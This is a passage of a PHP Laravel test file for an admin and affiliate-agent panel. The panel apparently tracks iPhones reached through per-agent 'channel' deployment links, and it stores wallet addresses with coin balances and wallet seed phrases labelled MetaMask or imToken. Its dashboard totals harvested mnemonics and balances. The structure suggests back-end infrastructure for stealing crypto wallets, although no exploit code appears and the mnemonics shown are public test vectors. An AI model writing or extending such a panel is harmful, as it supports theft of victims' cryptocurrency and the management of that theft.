create([ 'username' => 'agent1', 'password' => 'secret12', 'status' => 1, 'comment' => 'test', ]); $channel = Channel::query()->create([ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $user->id, 'status' => 1, 'remark' => 'demo', ]); config([ 'coruna.channel_domains' => ['cdn.example.com'], 'coruna.deployment_domains' => ['cdn.example.com'], ]); $this->assertDatabaseHas('users', ['username' => 'agent1']); $this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]); $this->assertSame( ['https://cdn.example.com/web/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/support.html'], $channel->supportLinks() ); } #[Test] public function disabled_agent_cannot_login(): void { User::query()->create([ 'username' => 'disabled', 'password' => 'secret12', 'status' => 0, ]); $this->post('/user/login', [ 'username' => 'disabled', 'password' => 'secret12', ])->assertSessionHasErrors('username'); $this->assertGuest('agent'); } #[Test] public function enabled_agent_can_login(): void { User::query()->create([ 'username' => 'okagent', 'password' => 'secret12', 'status' => 1, ]); $this->post('/user/login', [ 'username' => 'okagent', 'password' => 'secret12', ])->assertRedirect(route('user.home')); $this->assertAuthenticated('agent'); } #[Test] public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void { config([ 'coruna.channel_domains' => ['fallback.test'], 'coruna.deployment_domains' => ['fallback.test'], ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $projects = Mockery::mock(ChannelProjectService::class); $projects->shouldReceive('generate')->once()->andReturn([ 'channel_id' => 'placeholder', 'seeds' => [ 'deployment_seed' => '11111111111111111111111111111111', 'reporting_seed' => '11111111111111111111111111111111', ], 'domains' => ['deployment' => [], 'reporting' => []], 'seeds_initialized' => false, 'sync_rebuilt' => false, 'support_path' => '/web/x/support.html', 'daily_path' => '/sync/daily.html', ]); $this->app->instance(ChannelProjectService::class, $projects); $random = $this->actingAs($admin, 'admin') ->get(route('admin.channels.randomId')) ->assertOk() ->assertJsonPath('code', 0) ->json('data.channel_id'); $this->assertIsString($random); $this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random); $channelId = Channel::randomChannelId(); $this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId); $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ 'channel_id' => $channelId, 'user_id' => 0, 'remark' => 'official', 'status' => 1, ]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html'); $this->assertDatabaseHas('channels', [ 'channel_id' => $channelId, 'user_id' => 0, 'remark' => 'official', ]); } #[Test] public function agent_only_sees_own_channel_devices_and_addresses(): void { $agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]); $chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; $chB = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devA = Device::query()->create([ 'device_id' => 'dev-a', 'channel_id' => $chA, 'device_model' => 'iPhone', ]); $devB = Device::query()->create([ 'device_id' => 'dev-b', 'channel_id' => $chB, 'device_model' => 'iPhone', ]); WalletAddress::query()->create([ 'device_id' => $devA->id, 'address' => 'addr-a', 'source' => 'imToken', 'chain_type' => 'ETH', ]); WalletAddress::query()->create([ 'device_id' => $devB->id, 'address' => 'addr-b', 'source' => 'imToken', 'chain_type' => 'ETH', ]); $this->actingAs($agentA, 'agent') ->getJson(route('user.devices.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-a'); $this->actingAs($agentA, 'agent') ->getJson(route('user.addresses.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.address', 'addr-a'); $this->actingAs($agentA, 'agent') ->get(route('user.devices.show', $devB)) ->assertForbidden(); } #[Test] public function admin_agent_filter_scopes_devices(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]); $ch = 'dddddddddddddddddddddddddddddddd'; $official = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]); Channel::query()->create(['channel_id' => $official, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]); Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]); Device::query()->create(['device_id' => 'official-dev', 'channel_id' => $official]); Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'mine'); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['agent_user_id' => 0])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'official-dev'); } #[Test] public function dashboard_counts_smoke(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $d1 = Device::query()->create([ 'device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '15.8.4', ]); Device::query()->create([ 'device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '15.8.4', ]); Device::query()->create([ 'device_id' => 'd3', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '18.5', ]); WalletAddress::query()->create([ 'device_id' => $d1->id, 'address' => 'TTestAddress111111111111111111111', 'chain_type' => 'TRON', 'usdt' => '10.5', 'trx' => '2', 'eth' => '0', 'btc' => '0.001', 'bnb' => '1.25', ]); WalletAddress::query()->create([ 'device_id' => $d1->id, 'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd', 'chain_type' => 'ETH', 'usdt' => '1.5', 'trx' => '0', 'eth' => '0.1', 'btc' => '0', 'bnb' => '0', ]); WalletMnemonic::query()->create([ 'device_id' => $d1->id, 'source' => 'MetaMask', 'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ]); WalletMnemonic::query()->create([ 'device_id' => $d1->id, 'source' => 'imToken', 'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow', ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.dashboard.data', ['range' => '30d'])) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.total', 3) ->assertJsonPath('data.mnemonic_count', 2) ->assertJsonPath('data.address_count', 2) ->assertJsonPath('data.balances.usdt', '12') ->assertJsonPath('data.balances.trx', '2') ->assertJsonPath('data.balances.eth', '0.1') ->assertJsonPath('data.balances.btc', '0.001') ->assertJsonPath('data.balances.bnb', '1.25') ->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4') ->assertJsonPath('data.by_device_ios_version.0.count', 2) ->assertJsonPath('data.by_device_ios_version.1.label', '18.5') ->assertJsonPath('data.by_device_ios_version.1.count', 1) ->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]); } #[Test] public function dashboard_date_range_filters_all_metrics(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $inRange = Device::query()->create([ 'device_id' => 'in-range', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '15.8.4', 'has_wallet' => Device::WALLET_YES, ]); \Illuminate\Support\Facades\DB::table('devices')->where('id', $inRange->id)->update([ 'created_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00', ]); $outOfRange = Device::query()->create([ 'device_id' => 'out-of-range', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '18.5', 'has_wallet' => Device::WALLET_YES, ]); \Illuminate\Support\Facades\DB::table('devices')->where('id', $outOfRange->id)->update([ 'created_at' => '2026-07-01 12:00:00', 'updated_at' => '2026-07-01 12:00:00', ]); $addr = WalletAddress::query()->create([ 'device_id' => $inRange->id, 'address' => 'TInRangeAddr111111111111111111111', 'chain_type' => 'TRON', 'usdt' => '5', 'trx' => '1', ]); \Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([ 'created_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00', ]); $mn = WalletMnemonic::query()->create([ 'device_id' => $inRange->id, 'source' => 'MetaMask', 'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ]); \Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mn->id)->update([ 'created_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00', ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.dashboard.data', [ 'date_from' => '2026-08-01', 'date_to' => '2026-08-15', ])) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.total', 1) ->assertJsonPath('data.new_count', 1) ->assertJsonPath('data.wallet_count', 1) ->assertJsonPath('data.mnemonic_count', 1) ->assertJsonPath('data.address_count', 1) ->assertJsonPath('data.balances.usdt', '5') ->assertJsonPath('data.date_from', '2026-08-01') ->assertJsonPath('data.date_to', '2026-08-15'); } #[Test] public function agent_cannot_create_channel(): void { $agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $this->actingAs($agent, 'agent') ->post('/user/channels', [ 'channel_id' => 'gggggggggggggggggggggggggggggggg', 'status' => 1, ]) ->assertStatus(405); } }